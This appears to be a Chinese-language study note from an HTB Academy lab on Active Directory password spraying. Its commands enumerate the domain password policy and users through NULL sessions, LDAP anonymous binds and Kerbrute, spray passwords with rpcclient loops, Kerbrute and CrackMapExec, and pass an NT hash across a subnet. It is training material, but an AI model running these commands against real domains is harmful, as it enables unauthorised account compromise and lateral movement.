- Sighting In, Hunting For A User
- Spray Responsibly
Enumerating the Password Policy - from Linux - Credentialed
我们可以通过多种方式提取域密码策略,具体取决于域的配置方式以及我们是否具有有效的域凭据。使用有效的域凭据,还可以使用CrackMapExec或rpcclient等工具远程获取密码策略。
Tanin@htb[/htb]$ crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\avazquez:Password123
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] Dumping password info for domain: INLANEFREIGHT
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Minimum password length: 8
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Password history length: 24
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Maximum password age: Not Set
SMB 172.16.5.5 445 ACADEMY-EA-DC01
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Password Complexity Flags: 000001
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Domain Refuse Password Change: 0
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Domain Password Store Cleartext: 0
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Domain Password Lockout Admins: 0
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Domain Password No Clear Change: 0
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Domain Password No Anon Change: 0
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Domain Password Complex: 1
SMB 172.16.5.5 445 ACADEMY-EA-DC01
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Minimum password age: 1 day 4 minutes
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Reset Account Lockout Counter: 30 minutes
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Locked Account Duration: 30 minutes
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Account Lockout Threshold: 5
SMB 172.16.5.5 445 ACADEMY-EA-DC01 Forced Log off Time: Not Set
Enumerating the Password Policy - from Linux - SMB NULL Sessions
SMB NULL Sessions(SMB空会话)是指在Microsoft Windows网络中的SMB(Server Message Block)协议中,允许未经身份验证的访问网络共享资源的一种机制。这是一种安全性问题,因为未经身份验证的用户可以访问共享文件夹和其他资源,可能导致潜在的安全风险和信息泄露。
如果==没有凭据==,我们可以通过SMB NULL会话或LDAP匿名绑定获取密码策略。第一种是通过SMB NULL会话。SMB NULL会话允许未经身份验证的攻击者从域中检索信息,例如用户、组、计算机、用户帐户属性和域密码策略的完整列表。SMB NULL会话配置错误通常是由于旧版域控制器升级到位,最终导致不安全的配置,而这些配置默认存在于旧版本的Windows Server中。 在早期版本的Windows Server中创建域时,会向某些共享授予匿名访问权限,从而允许域枚举。SMB NULL会话可以轻松枚举。对于枚举,我们可以使用enum4linux、CrackMapExec、rpcclient等工具。 我们可以使用rpcclient检查域控制器的SMB NULL会话访问。 连接后,我们可以发出一个RPC命令,如querydominfo,以获取有关域的信息并确认NULL会话访问。
Using rpcclient
Tanin@htb[/htb]$ rpcclient -U "" -N 172.16.5.5
rpcclient $> querydominfo
Domain: INLANEFREIGHT
Server:
Comment:
Total Users: 3650
Total Groups: 0
Total Aliases: 37
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
Obtaining the Password Policy using rpcclient
rpcclient $> querydominfo
Domain: INLANEFREIGHT
Server:
Comment:
Total Users: 3650
Total Groups: 0
Total Aliases: 37
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> getdompwinfo
min_password_length: 8
password_properties: 0x00000001
DOMAIN_PASSWORD_COMPLEX
Using enum4linux
Tanin@htb[/htb]$ enum4linux -P 172.16.5.5
<SNIP>
==================================================
| Password Policy Information for 172.16.5.5 |
==================================================
[+] Attaching to 172.16.5.5 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:172.16.5.5)
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] INLANEFREIGHT
[+] Builtin
[+] Password Info for Domain: INLANEFREIGHT
[+] Minimum password length: 8
[+] Password history length: 24
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000001
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 1
[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: 5
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Enabled
Minimum Password Length: 8
enum4linux complete on Tue Feb 22 17:39:29 2022
工具enum4linux-ng是对Python中enum4linux的重写,但具有其他功能,如将数据导出为YAML或JSON文件的能力,这些文件稍后可用于进一步处理数据或将其提供给其他工具。除其他功能外,它还支持彩色输出
Using enum4linux-ng
Tanin@htb[/htb]$ enum4linux-ng -P 172.16.5.5 -oA ilfreight
ENUM4LINUX - next generation
<SNIP>
=======================================
| RPC Session Check on 172.16.5.5 |
=======================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[-] Could not establish random user session: STATUS_LOGON_FAILURE
=================================================
| Domain Information via RPC for 172.16.5.5 |
=================================================
[+] Domain: INLANEFREIGHT
[+] SID: S-1-5-21-3842939050-3880317879-2865463114
[+] Host is part of a domain (not a workgroup)
=========================================================
| Domain Information via SMB session for 172.16.5.5 |
========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: ACADEMY-EA-DC01
NetBIOS domain name: INLANEFREIGHT
DNS domain: INLANEFREIGHT.LOCAL
FQDN: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
=======================================
| Policies via RPC for 172.16.5.5 |
=======================================
[*] Trying port 445/tcp
[+] Found policy:
domain_password_information:
pw_history_length: 24
min_pw_length: 8
min_pw_age: 1 day 4 minutes
max_pw_age: not set
pw_properties:
- DOMAIN_PASSWORD_COMPLEX: true
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
domain_lockout_information:
lockout_observation_window: 30 minutes
lockout_duration: 30 minutes
lockout_threshold: 5
domain_logoff_information:
force_logoff_time: not set
Completed after 5.41 seconds
Displaying the contents of ilfreight.json
Tanin@htb[/htb]$ cat ilfreight.json
{
"target": {
"host": "172.16.5.5",
"workgroup": ""
},
"credentials": {
"user": "",
"password": "",
"random_user": "yxditqpc"
},
"services": {
"SMB": {
"port": 445,
"accessible": true
},
"SMB over NetBIOS": {
"port": 139,
"accessible": true
}
},
"smb_dialects": {
"SMB 1.0": false,
"SMB 2.02": true,
"SMB 2.1": true,
"SMB 3.0": true,
"SMB1 only": false,
"Preferred dialect": "SMB 3.0",
"SMB signing required": true
},
"sessions_possible": true,
"null_session_possible": true,
<SNIP>
Enumerating Null Session - from Windows
从Windows进行这种类型的空会话攻击并不常见,但我们可以使用命令net use \\host\ipc$“”/u:“”
从Windows机器建立一个空会话,并确认我们是否可以执行更多这种类型的攻击。
Establish a null session from windows
C:\htb> net use \\DC01\ipc$ "" /u:""
The command completed successfully.
Enumerating the Password Policy - from Linux - LDAP Anonymous Bind
LDAP匿名绑定允许未经身份验证的攻击者从域中检索信息,例如用户、组、计算机、用户帐户属性和域密码策略的完整列表。这是一种旧式配置,从Windows Server 2003开始,只有经过身份验证的用户才能启动LDAP请求。我们仍然不时看到这种配置,因为管理员可能需要设置一个特定的应用程序来允许匿名绑定,并提供超过预期数量的访问权限,从而允许未经身份验证的用户访问AD中的所有对象。 使用LDAP匿名绑定,我们可以使用特定于LDAP的枚举工具,如windapsearch.py、ldapsearch、ad-ldapdomaindump.py等,来提取密码策略。使用 ldapsearch,它可能有点麻烦,但可行。获取密码策略的一个示例命令如下:
Using ldapsearch
Tanin@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 5
maxPwdAge: -9223372036854775808
minPwdAge: -864000000000
minPwdLength: 8
modifiedCountAtLastProm: 0
nextRid: 1002
pwdProperties: 1
pwdHistoryLength: 24
在这里,我们可以看到最小密码长度为8,锁定阈值为5,并且设置了密码复杂性(pwdProperties设置为1)。
Enumerating the Password Policy - from Windows
如果我们可以从Windows主机向域进行身份验证,我们可以使用内置的Windows二进制文件(如net.exe)来检索密码策略。我们还可以使用各种工具,如PowerView、CrackMapExec移植到Windows、SharpMapExec、SharpView等。 如果我们降落在Windows系统上,无法将工具传输到该系统,或者客户端将我们定位在Windows系统中,但无法将工具转移到该系统上,则使用内置命令会很有帮助。使用内置net.exe二进制文件的一个示例是:
C:\htb> net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): Unlimited
Minimum password length: 8
Length of password history maintained: 24
Lockout threshold: 5
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: SERVER
在这里,我们可以收集以下信息: 密码永不过期(密码最长使用期限设置为无限制) 最小密码长度为8,因此可能使用弱密码 锁定阈值为5个错误密码 帐户被锁定30分钟
此密码策略非常适合密码喷洒。八个字符的最小值意味着我们可以尝试常见的弱密码,如Welcome1。5的锁定阈值意味着我们可以每31分钟尝试2-3次(为了安全)喷雾,而没有锁定任何账户的风险。如果一个帐户被锁定,它将在30分钟后自动解锁(无需管理员手动干预),但我们应该避免不惜一切代价锁定任何帐户。 PowerView在这方面也很方便:
Using PowerView
PS C:\htb> import-module .\PowerView.ps1
PS C:\htb> Get-DomainPolicy
Unicode : @{Unicode=yes}
SystemAccess : @{MinimumPasswordAge=1; MaximumPasswordAge=-1; MinimumPasswordLength=8; PasswordComplexity=1;
PasswordHistorySize=24; LockoutBadCount=5; ResetLockoutCount=30; LockoutDuration=30;
RequireLogonToChangePassword=0; ForceLogoffWhenHourExpire=0; ClearTextPassword=0;
LSAAnonymousNameLookup=0}
KerberosPolicy : @{MaxTicketAge=10; MaxRenewAge=7; MaxServiceAge=600; MaxClockSkew=5; TicketValidateClient=1}
Version : @{signature="$CHICAGO$"; Revision=1}
RegistryValues : @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.Object[]}
Path : \\INLANEFREIGHT.LOCAL\sysvol\INLANEFREIGHT.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHI
NE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
GPOName : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPODisplayName : Default Domain Policy
PowerView为我们提供了与net accounts命令相同的输出,只是格式不同,但也显示密码复杂性已启用(PasswordComplexity=1)。 与Linux一样,我们有许多工具可以在Windows系统上检索密码策略,无论是我们的攻击系统还是客户端提供的系统。PowerView/SharpView总是不错的选择,CrackMapExec、SharpMapExec等也是如此。工具的选择取决于评估目标、隐形注意事项、任何防病毒或EDR以及对目标主机的其他潜在限制。让我们介绍几个例子。
Analyzing the Password Policy
我们现在已经通过多种方式取消了密码策略。让我们逐一了解INLANEFREIGHT.LOCAL域的策略。
- 最小密码长度为8(8很常见,但如今,我们看到越来越多的组织强制使用10-14个字符的密码,这可以为我们删除一些密码选项,但并不能完全缓解密码喷洒矢量)
- 帐户锁定阈值为5(通常会看到较低的阈值,如3,甚至根本没有设置锁定阈值)
- 锁定持续时间为30分钟(根据组织的不同,这可能会更高或更低),因此,如果我们意外锁定(避免!!)帐户,它将在30分钟窗口过后解锁
- 帐户自动解锁(在某些组织中,管理员必须手动解锁帐户)。我们从不想在执行密码喷洒时锁定帐户,但我们特别希望避免在管理员必须手动/脚本干预并解锁数百(或数千)个帐户的组织中锁定帐户
- 启用了密码复杂性,这意味着用户必须选择包含以下内容的3/4的密码:大写字母、小写字母、数字、特殊字符(Password1或Welcome1可以满足此处的“复杂性”要求,但显然仍然是弱密码)。
default password policy*
创建新域时的默认密码策略如下,许多组织从未更改过此策略:
Policy | Default Value |
---|---|
Enforce password history | 24 days |
Maximum password age | 42 days |
Minimum password age | 1 day |
Minimum password length | 7 |
Password must meet complexity requirements | Enabled |
Store passwords using reversible encryption | Disabled |
Account lockout duration | Not set |
Account lockout threshold | 0 |
Reset account lockout counter after | Not set |
-Password Spraying - Making a Target User List-
SMB NULL Session to Pull User List
一些可以利用SMB NULL会话和LDAP匿名绑定的工具包括enum4linux、rpcclient和CrackMapExec等。不管使用什么工具,我们都必须进行一些过滤来清理输出,并获得一个仅包含用户名的列表,每行一个。我们可以使用带有-U标志的enum4linux来实现这一点。
Tanin@htb[/htb]$ enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
administrator
guest
krbtgt
lab_adm
htb-student
avazquez
pfalcon
fanthony
wdillard
lbradford
sgage
asanchez
dbranch
ccruz
njohnson
mholliday
<SNIP>
使用rpcclient匿名连接后,我们可以使用enumdomusers命令。
Tanin@htb[/htb]$ rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers
user:[administrator] rid:[0x1f4]
user:[guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[lab_adm] rid:[0x3e9]
user:[htb-student] rid:[0x457]
user:[avazquez] rid:[0x458]
<SNIP>
最后,我们可以使用带有–users标志的CrackMapExec。这是一个有用的工具,它还将显示badpwdcount(无效登录尝试),因此我们可以从列表中删除任何接近锁定阈值的帐户。它还显示了baddpwdtime,这是最后一次错误密码尝试的日期和时间,因此我们可以看到一个帐户距离重置其badpwdcount有多近。在具有多个域控制器的环境中,此值在每个域控制器上单独维护。要获得帐户错误密码尝试的准确总数,我们必须查询每个域控制器并使用值的总和,或者查询具有PDC Emulator FSMO角色的域控制器。
Using CrackMapExec –users Flag
Tanin@htb[/htb]$ crackmapexec smb 172.16.5.5 --users
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] Enumerated domain user(s)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\administrator badpwdcount: 0 baddpwdtime: 2022-01-10 13:23:09.463228
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\guest badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\lab_adm badpwdcount: 0 baddpwdtime: 2021-12-21 14:10:56.859064
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\krbtgt badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\htb-student badpwdcount: 0 baddpwdtime: 2022-02-22 14:48:26.653366
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\avazquez
Gathering Users with LDAP Anonymous
当我们发现LDAP匿名绑定时,我们可以使用各种工具来收集用户。一些例子包括 windapsearch和ldapsearch。
Using ldapsearch
Tanin@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
像windapsearch这样的工具使这变得更容易(尽管我们仍然应该了解如何创建自己的LDAP搜索过滤器)。在这里,我们可以通过提供一个带有-u标志和-u标志的空白用户名来指定匿名访问,以告诉工具只检索用户。
Tanin@htb[/htb]$ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
Enumerating Users with Kerbrute
如域的初始枚举部分所述,如果我们在内部网络中的位置根本无法访问,我们可以使用Kerbrute枚举有效的AD帐户并进行密码喷洒。 该工具使用Kerberos预身份验证,这是一种更快且可能更隐蔽的执行密码喷洒的方法。此方法不生成Windows事件ID 4625:帐户登录失败,或登录失败(经常受到监视)。该工具在没有Kerberos预身份验证的情况下向域控制器发送TGT请求,以执行用户名枚举。如果KDC以错误PRINCIPAL UNKNOWN进行响应,则用户名无效。每当KDC提示进行Kerberos预身份验证时,这表示用户名存在,工具会将其标记为有效。此用户名枚举方法不会导致登录失败,也不会锁定帐户。然而,一旦我们有了有效用户的列表并切换设备来使用此工具进行密码喷洒,失败的Kerberos预身份验证尝试将计入帐户的失败登录帐户,并可能导致帐户锁定,因此无论选择何种方法,我们都必须小心。 让我们使用格式为flast的包含48705个可能的常见用户名的jsmith.txt单词列表来尝试这种方法。统计上可能的用户名GitHub repo是此类攻击的绝佳资源,它包含各种不同的用户名列表,我们可以使用Kerbrute来枚举有效用户名。
Tanin@htb[/htb]$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
我们在12秒内检查了48000多个用户名,发现了50多个有效用户名。使用Ker暴力进行用户名枚举将生成事件ID 4768:请求了Kerberos身份验证票证(TGT)。只有通过组策略启用Kerberos事件日志记录时,才会触发此操作。防御者可以调整他们的SIEM工具,以寻找该事件ID的涌入,这可能表明发生了攻击。如果我们在渗透测试中成功地使用了这种方法,这将是一个很好的建议,可以添加到我们的报告中。 如果我们无法使用上面强调的任何方法创建有效的用户名列表,我们可以返回外部信息收集和搜索公司电子邮件地址,或者使用linkedin2username等工具从公司的LinkedIn页面中混合可能的用户名。
Credentialed Enumeration to Build our User List
有了有效的凭据,我们可以使用前面介绍的任何工具来构建用户列表。一种快速简单的方法是使用CrackMapExec。
Using CrackMapExec with Valid Credentials
Tanin@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
-Spray Responsibly-
Using a Bash one-liner for the Attack
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
rpcclient
: 这是一个用于与远程主机上的 RPC(远程过程调用)服务进行交互的命令行工具。-U "$u%Welcome1"
: 这部分指定了身份验证信息。-U
标志后面的参数包括用户名和密码。$u
可能是一个变量,用于存储用户名。%
是分隔用户名和密码的符号,然后是实际的密码Welcome1
。这个参数用于进行身份验证,让你能够登录到目标系统。-c "getusername;quit"
: 这部分指定了在与远程主机建立连接后要执行的命令。首先,它执行了getusername
命令,然后执行quit
命令以退出rpcclient
。172.16.5.5
: 这是远程主机的IP地址,是你要连接到的目标主机。
Using Kerbrute for the Attack
Tanin@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
从Linux执行密码喷洒还有多种其他方法。另一个不错的选择是使用CrackMapExec。这个通用工具接受一个用户名文本文件,在喷射攻击中使用单个密码运行。在这里,我们用grep for+过滤登录失败,并只关注有效的登录尝试,以确保滚动多行输出不会错过任何内容。
Using CrackMapExec & Filtering Logon Failures
Tanin@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\avazquez:Password123
在我们的密码喷洒攻击命中一次(或多次!)后,我们可以使用CrackMapExec针对域控制器快速验证凭据。
Validating the Credentials with CrackMapExec
Tanin@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\avazquez:Password123
Local Administrator Password Reuse
如果您获得本地管理员帐户(或另一个具有特权的本地帐户)的管理访问权限和NTLM密码哈希或明文密码,则可以在网络中的多个主机上进行尝试。由于在自动化部署中使用了黄金映像,并且通过在多个主机上强制执行相同的密码可以轻松管理,因此本地管理员帐户密码的重复使用非常普遍。 CrackMapExec是尝试此攻击的方便工具。值得将目标锁定在SQL或Microsoft Exchange服务器等高价值主机上,因为它们更有可能让高特权用户登录或将其凭据永久保存在内存中。 使用本地管理员帐户时,需要考虑的一个问题是跨帐户重复使用密码或常见的密码格式。如果我们发现本地管理员帐户密码设置为唯一的桌面主机,例如$desktop%@admin123,则可能值得对服务器尝试$server%@admin123。此外,如果我们找到非标准的本地管理员帐户(如bsmith),我们可能会发现密码被重复用于类似名称的域用户帐户。同样的原则也适用于域帐户。如果我们检索名为ajones的用户的密码,那么值得在他们的管理帐户上尝试相同的密码(如果用户有),例如ajones_adm,看看他们是否在重复使用自己的密码。这在域信任情况下也很常见。我们可以获得域a中用户的有效凭据,该凭据对域B中用户名相同或相似的用户有效,反之亦然。 有时,我们可能只从本地SAM数据库中检索本地管理员帐户的NTLM哈希。在这些情况下,我们可以在整个子网(或多个子网)中喷洒NT哈希,以查找具有相同密码集的本地管理员帐户。在下面的示例中,我们尝试使用从另一台机器检索到的内置本地管理员帐户NT哈希来对/23网络中的所有主机进行身份验证。–local auth标志将告诉该工具在每台机器上只尝试登录一次,这将消除帐户锁定的任何风险。请确保设置了此标志,这样我们就不会锁定域的内置管理员。默认情况下,如果未设置本地身份验证选项,该工具将尝试使用当前域进行身份验证,这可能会迅速导致帐户锁定。
Tanin@htb[/htb]$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
SMB 172.16.5.50 445 ACADEMY-EA-MX01 [+] ACADEMY-EA-MX01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB 172.16.5.25 445 ACADEMY-EA-MS01 [+] ACADEMY-EA-MS01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB 172.16.5.125 445 ACADEMY-EA-WEB0 [+] ACADEMY-EA-WEB0\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)